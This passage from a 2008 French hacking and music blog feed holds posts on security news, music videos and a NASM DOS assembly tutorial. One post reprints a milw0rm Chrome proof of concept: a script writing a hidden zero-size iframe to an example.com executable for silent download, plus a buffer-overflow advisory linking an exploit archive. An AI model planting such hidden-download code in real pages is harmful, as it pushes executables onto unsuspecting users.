gros sac de zours). Pour rappel, voila le paper original : &lt;a href="http://milw0rm.com/papers/212"&gt;http://milw0rm.com/papers/212&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;J'en profite pour parler un peu d'&lt;a href="http://other-project.net/"&gt; Other-Project.net&lt;/a&gt;, un blog que je tiens avec Tely et quelques amis (Tr00ps, ...). Il n'y a pas grand chose, on avance doucement. A noter une jolie liste d'ebooks quand même : &lt;a href="http://other-project.net/ebook/"&gt;ICI&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-4372637316689781696?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/4372637316689781696/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=4372637316689781696' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/4372637316689781696'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/4372637316689781696'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2008/09/comme-promis.html' title='Comme promis...'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-2939044325820391050</id><published>2008-09-08T10:56:00.000+02:00</published><updated>2008-09-09T15:24:11.270+02:00</updated><title type='text'>Niouz</title><content type='html'>Hello, j'ai pas trop eu le temps de poster dernièrement, la faute à qui?&lt;br /&gt;Il s'est néanmoins passé plein de choses que ce soit sur la planète terre ou dans ma vie, je sais bien que le 2eme, tout le monde s'en tape. Brayph:&lt;br /&gt;&lt;br /&gt;Google sort un navigateur, et ca commence pas mal:&lt;br /&gt;&lt;br /&gt;&lt;div style="padding:2px;border:1px solid white;"&gt;&lt;br /&gt;***************************************************************************&lt;br /&gt; Author: nerex&lt;br /&gt; E-mail: nerex[at]live[dot]com&lt;br /&gt;&lt;br /&gt; Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically&lt;br /&gt; downloaded to the user's computer without any user prompt.&lt;br /&gt;&lt;br /&gt; This proof-of-concept was created for educational purposes only.&lt;br /&gt; Use the code it at your own risk.&lt;br /&gt; The author will not be responsible for any damages.&lt;br /&gt;&lt;br /&gt; Tested on Windows Vista SP1 and Windows XP SP3 with Google Chrome (BETA)&lt;br /&gt;**************************************************************************&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;document.write('&amp;lt;iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0"&amp;gt;');&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;# milw0rm.com [2008-09-03]&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="padding:2px;border:1px solid white;"&gt;&lt;br /&gt;PoC Code is in Attach file because this file is saved in 'Unicode' type for exploit.&lt;br /&gt;&lt;br /&gt;Here is Description for this Vuln :&lt;br /&gt;·          Type of Issue : Buffer Overflow. &lt;br /&gt;·          Affected Software : Google Chrome 0.2.149.27.      &lt;br /&gt;·          Exploitation Environment : Google Chrome (Language: Vietnamese) on Windows XP SP2.&lt;br /&gt;·          Impact: Remote code execution.&lt;br /&gt;·          Rating : Critical .&lt;br /&gt;·          Description :&lt;br /&gt;The vulnerability is caused due to a boundary error when handling the “SaveAs” function. On saving &lt;br /&gt;a malicious page with an overly long title (&lt;title&gt; tag in HTML), the program causes a stack-based overflow and makes &lt;br /&gt;it possible for attackers to execute arbitrary code on users’ systems.&lt;br /&gt;·          How an attacker could exploit the issue :&lt;br /&gt;To exploit the Vulnerability, a hacker might construct a specially crafted Web page, which contains malicious code. &lt;br /&gt;He then tricks users into visiting his Website and convinces them to save this Page. Right after that, the code would &lt;br /&gt;be executed, giving him the privilege to make use of the affected system.&lt;br /&gt;·          Discoverer : Le Duc Anh - SVRT - Bkis&lt;br /&gt;·          About SVRT :&lt;br /&gt;SVRT, which is short for Security Vulnerability Research Team, is one of Bkis researching groups. SVRT specializes &lt;br /&gt;in the detection, alert and announcement of security vulnerabilities in software, operating systems, network protocols &lt;br /&gt;and embedded systems…&lt;br /&gt;·          Website : security.bkis.vn&lt;br /&gt;·          Mail : svrt[at]bkav.com.vn&lt;br /&gt;&lt;br /&gt;http://milw0rm.com/sploits/2008-chrome.tgz&lt;br /&gt;&lt;br /&gt;# milw0rm.com [2008-09-05]&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Un paper plutôt intéressant, sur le bypassing de l'ASLR sous kernel 2.6.17-20 : &lt;a href="http://milw0rm.com/papers/219"&gt;Ici&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Un autre qui démontre une injection SQL sous SyBase mais surtout le bypass de mod_security : &lt;a href="http://milw0rm.com/papers/212"&gt;Ici en allemand&lt;/a&gt; ; Mais vu que ma copine gère vraiment, telle une déesse, je vous balance une trad d'ici un moment.&lt;br /&gt;&lt;br /&gt;Sinon je referais sûrement bientôt un truc sur Nasm (ou pitete Masm why not?), dès que j'en aurais le temps / l'envie.&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-2939044325820391050?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/2939044325820391050/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=2939044325820391050' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/2939044325820391050'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/2939044325820391050'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2008/09/niouz.html' title='Niouz'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-7105047562948735076</id><published>2008-08-22T14:34:00.000+02:00</published><updated>2008-09-22T16:34:02.499+02:00</updated><title type='text'>Du son, encore et encore...</title><content type='html'>C'est pas tout neuf non plus mais ca reste bien fresh :p :&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/iu3iYOLqe6E&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/iu3iYOLqe6E&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;Para One - Dudun Dun&lt;br /&gt;&lt;br /&gt;Le clip est assez tripant :&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/6zo1-XlazvY&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/6zo1-XlazvY&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;Justice vs. Simian - We Are Your Friends&lt;br /&gt;&lt;br /&gt;Pas de clip, mais c'est tellement énorme :D :&lt;br /&gt;&lt;br /&gt;&lt;div style="width:220px;height:55px;"&gt;&lt;object width="220" height="55"&gt;&lt;param name="movie" value="http://www.deezer.com/embedded/small-widget-v2.swf?idSong=186926&amp;colorBackground=0x555552&amp;textColor1=0xFFFFFF&amp;colorVolume=0x39D1FD&amp;autoplay=0"&gt;&lt;/param&gt;&lt;embed src="http://www.deezer.com/embedded/small-widget-v2.swf?idSong=186926&amp;colorBackground=0x525252&amp;textColor1=0xFFFFFF&amp;colorVolume=0x39D1FD&amp;autoplay=0" type="application/x-shockwave-flash" width="220" height="55"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;ModSelektor ft. TTC - 2000007&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-7105047562948735076?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/7105047562948735076/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=7105047562948735076' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/7105047562948735076'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/7105047562948735076'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2008/08/du-son-encore-et-encore.html' title='Du son, encore et encore...'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-7183347365693449263</id><published>2008-08-19T23:49:00.000+02:00</published><updated>2008-08-22T14:32:51.071+02:00</updated><title type='text'>:/</title><content type='html'>Bon heu... ca date un peu quand meme...&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/EdS6iZrN4c0&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/EdS6iZrN4c0&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-7183347365693449263?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/7183347365693449263/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=7183347365693449263' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/7183347365693449263'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/7183347365693449263'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2008/08/blog-post.html' title=':/'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-4807368306665305705</id><published>2008-08-17T18:24:00.001+02:00</published><updated>2008-08-17T18:48:57.923+02:00</updated><title type='text'>Une semaine à peine...</title><content type='html'>... Et ce blog est déja le plus populaire de la toile :o&lt;br /&gt;&lt;br /&gt;Aujourd'hui, plein de news en pagaille, la semaine à été folle!!&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;XCMO Partners sortent leur 20ème ezine : &lt;br /&gt;   &lt;a href="http://www.xmcopartners.com/"&gt;http://www.xmcopartners.com/&lt;/a&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.net-security.org/dl/insecure/INSECURE-Mag-17.pdf"&gt;(IN)Secure Mag N°17&lt;/a&gt;&lt;br /&gt;&lt;li&gt;Sortie de RAFALE N°10 : &lt;a href="http://www.rafale.org/"&gt;http://www.rafale.org/&lt;/a&gt;&lt;br /&gt;&lt;li&gt;Un nouveau petit tool qui pourrait bien nous etre fort utile, Assh, c'est ici : &lt;a href="http://assh.sourceforge.net/"&gt;http://assh.sourceforge.net/&lt;/a&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;Et puis, vu qu'on est dimanche quand meme:&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/_9PYdMFgi-E&amp;hl=fr&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/_9PYdMFgi-E&amp;hl=fr&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;TTC - Travailler (ORGASMIC Remix)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-4807368306665305705?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/4807368306665305705/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=4807368306665305705' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/4807368306665305705'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/4807368306665305705'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2008/08/une-semaine-peine.html' title='Une semaine à peine...'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-5913012570168343930</id><published>2008-08-16T09:54:00.001+02:00</published><updated>2008-08-19T03:03:11.618+02:00</updated><title type='text'>Space mais bon....</title><content type='html'>&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/gRS8cM4lyKY&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/gRS8cM4lyKY&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;DJ Shadow - The Organ Donor&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-5913012570168343930?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/5913012570168343930/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=5913012570168343930' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/5913012570168343930'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/5913012570168343930'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2008/08/space-mais-bon.html' title='Space mais bon....'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-3614045360039230230</id><published>2008-08-13T14:10:00.000+02:00</published><updated>2008-08-13T14:24:47.041+02:00</updated><title type='text'>Ca pue la sale journée...</title><content type='html'>... On verra Bien!&lt;br /&gt;&lt;br /&gt;"&lt;span style="font-style: italic;"&gt;Tu kiff mon son comme la fin de la semaine&lt;/span&gt;" :&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/jY8rSIAKvcM&amp;amp;hl=en&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;embed src="http://www.youtube.com/v/jY8rSIAKvcM&amp;amp;hl=en&amp;amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;Cuizinier - L'enculé le plus cool&lt;br /&gt;&lt;br /&gt;Pour la petite touche d'originalité :&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/SnbY7SFmfk0&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/SnbY7SFmfk0&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;Crystal Castles - Tholo (Je suis pas 100% sûr)&lt;br /&gt;&lt;br /&gt;Ca bien sûr, parce que ça manque quand même :p :&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/-JOzj2-vnwo&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/-JOzj2-vnwo&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;Polycarpus - The Sex Virus&lt;br /&gt;&lt;br /&gt;A part ca je suis en vacances demain, pour 2 semaines ENTIERES :D HAHAHA!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-3614045360039230230?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/3614045360039230230/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=3614045360039230230' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/3614045360039230230'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/3614045360039230230'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2008/08/ca-pue-la-sale-journe.html' title='Ca pue la sale journée...'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-2341322721637642417</id><published>2008-08-12T16:30:00.001+02:00</published><updated>2008-09-09T15:46:53.619+02:00</updated><title type='text'>Soyons des fous!!!</title><content type='html'>... Et développons sous &lt;span style="font-weight: bold;"&gt;Nasm&lt;/span&gt;&lt;br /&gt;=&gt; http://nasm.sourceforge.net/&lt;br /&gt;&lt;br /&gt;Téléchargement:&lt;br /&gt;&lt;br /&gt;- &lt;a href="http://sourceforge.net/project/showfiles.php?group_id=6208&amp;amp;package_id=47034&amp;amp;release_id=607504"&gt;Windoze&lt;/a&gt;&lt;br /&gt;- &lt;a href="http://sourceforge.net/project/showfiles.php?group_id=6208&amp;amp;package_id=47035&amp;amp;release_id=607490"&gt;Linuske&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Un peu de supayr mizik, ca peut aider&lt;br /&gt;http://www.deezer.com/#music/playlist/9927274/1201024&lt;br /&gt;&lt;br /&gt;Et on commence par un pitit programme (COM) DOS:&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; padding: 2px;"&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-size:85%;" &gt;&lt;span style="font-family:courier new;"&gt;[ORG 0x0100]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;; On décale notre offset de 0x100. pourquoi? on est dans un programme COM (donc pas un EXE). DONC, les 256 premiers octets sont réservés au PSP&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic; color: rgb(255, 0, 0);"&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);font-size:85%;" &gt;&lt;span style="color: rgb(255, 0, 0);"&gt; (Program Segment Prefix). Il contient certaines infos relatives au programme parfois utiles au programmeur, et vu que je suis gentil, certaines sont fournies dans un tableau un peu plus bas ;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[SEGMENT .data]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;message db 'hello world',10,13,'$'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;; Bin la... on déclare une variable ... elle s'apelle message, contient 'hello world', la suite sont un retour a la ligne (10 13) et la caractère de terminaison de chaine ($). Ca correspond à \n\0 en C, quoi.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[SEGMENT .text]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;call affichage&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;; On apelle la routine affichage&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;call fin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;; Puis la routine fin&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;affichage:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;mov dx,message&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;; On met le pointeur sur notre chaine de caractère dans le registre DX&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;mov ah,0x09&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;; On met 0x09 dans ax, 9 est le numéro de la fonction de l’interruption dans 21h (car l'interruption 21h fournit plusieurs fonctions :]) qui écrit une chaîne de caractères à l’écran.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;; Pitit rappel:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;; EAX : partie basse 32 bits (bits 0 à 31) de RAX.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;; AX  : partie basse 16 bits (bits 0 à 15) de EAX.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;; AH  : partie haute 8 bits (bits 8 à 15) de AX.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;; AL  : partie basse 8 bits (bit 0 à 7) de AX.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;; DONC un mov eax,0x09 ou un mov ax,0x09 auraient marché aussi&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;int 0x21&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;; On appelle l'interruption 0x21 (Liste d'interruptions un peu + loin)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;; On rend la main a l'appellant (return en C)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;fin:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;mov ax,0x4c&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;; On met 0x4c dans ax, 0x4c est le numéro de la fonction qui sert à quitter le programme&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;int 0x21&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;; On appelle l'interruption 0x21&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Petite table des Interruptions DOS, non-exhaustive et reprise des cours de Haypo:&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; padding: 2px;"&gt;&lt;br /&gt;* 01h: Lancement d'un programme en mode pas-à-pas (permet de le débogueur).&lt;br /&gt;* 02h: Interruption non masquable.&lt;br /&gt;* 03h: Erreur de rupture.&lt;br /&gt;* 04h: Erreur de dépassement (par calcul, exemple : "mov al, 200 ; add al,140" -&gt; 340 &gt; 255 !!!).&lt;br /&gt;* 05h "Imprime écran", imprime une copie de l'écran en mode texte.&lt;br /&gt;* 08h: Horloge tournant à 18.6 clics/seconde.&lt;br /&gt;* 09h: Lecture du clavier. La touche est codée avec un 'code clavier' (scan code en anglais) traduit en code standart ASCII par l'interruption 16h.&lt;br /&gt;* 0Bh: Gestion du port COM2.&lt;br /&gt;* 0Ch: Gestion du port COM1.&lt;br /&gt;* 10h: Gestion de la carte vidéo.&lt;br /&gt;* 11h : Liste de configuration (mémoire, nombre de ports COM, co-processeur, ...).&lt;br /&gt;* 12h: Taille de la mémoire basse (640 Ko maximum).&lt;br /&gt;* 13h: Gestion des différents disques.&lt;br /&gt;* 14h: Gestion de l'interface série (ports COM, voir les interruptions 0Bh et 0Ch).&lt;br /&gt;* 15h: Manette de jeu, cassette et TopView.&lt;br /&gt;* 16h: Conversion du code de la touche (lu par l'interruption 09h) en code standart ASCII.&lt;br /&gt;* 17h: Gestion de l'imprimante.&lt;br /&gt;* 18h: Rom BASIC.&lt;br /&gt;* 19h: Rountine de chargement du DOS.&lt;br /&gt;* 1Ah: Gestion de l'heure réelle.&lt;br /&gt;* 1Bh: Surveille la pression de la combinaison de touche 'CTRL + C'.&lt;br /&gt;* 1Ch: Chronomètre clic/clic à la vitesse de l'horloge 08h : 18.6 Hz. Sa valeur est stockée à l'emplacement 0040h: 0060h.&lt;br /&gt;* 1Dh: La table d'initialisation vidéo.&lt;br /&gt;* 1Eh: La table de paramètre des disquettes.&lt;br /&gt;* 1Fh: La table des caractères graphiques.&lt;br /&gt;* 20h: L'interruption DOS : Fin d'un programme au format COM (le format EXE est largement plus répendu aujourd'hui).&lt;br /&gt;* 21h: L'interruption DOS : Fonctions universelles (disque dur, horloge, ...).&lt;br /&gt;* 22h: L'interruption DOS : Adresse de fin de processus.&lt;br /&gt;* 23h: L'interruption DOS : Surveille CTRL + PAUSE (ou CTRL + BREAK).&lt;br /&gt;* 24h: L'interruption DOS : Erreur fatale d'un vecteur d'interruption.&lt;br /&gt;* 25h: L'interruption DOS : Lecture directe d'un disque.&lt;br /&gt;* 26h: L'interruption DOS : Ecriture directe sur un disque.&lt;br /&gt;* 27h: L'interruption DOS : Programmes résidents.&lt;br /&gt;* 28h: Fin d'un programme restant résidant en mémoire.&lt;br /&gt;* 2Fh: Interruption pour plusieurs sous programmes. Gestion du réseau, driver CD-Rom MSCDEX, ...&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Il y en a apparement une liste plus fournie ici: http://www.delorie.com/djgpp/doc/rbinter/&lt;br /&gt;&lt;br /&gt;Regardons maintenant le schema simplifié du PSP:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 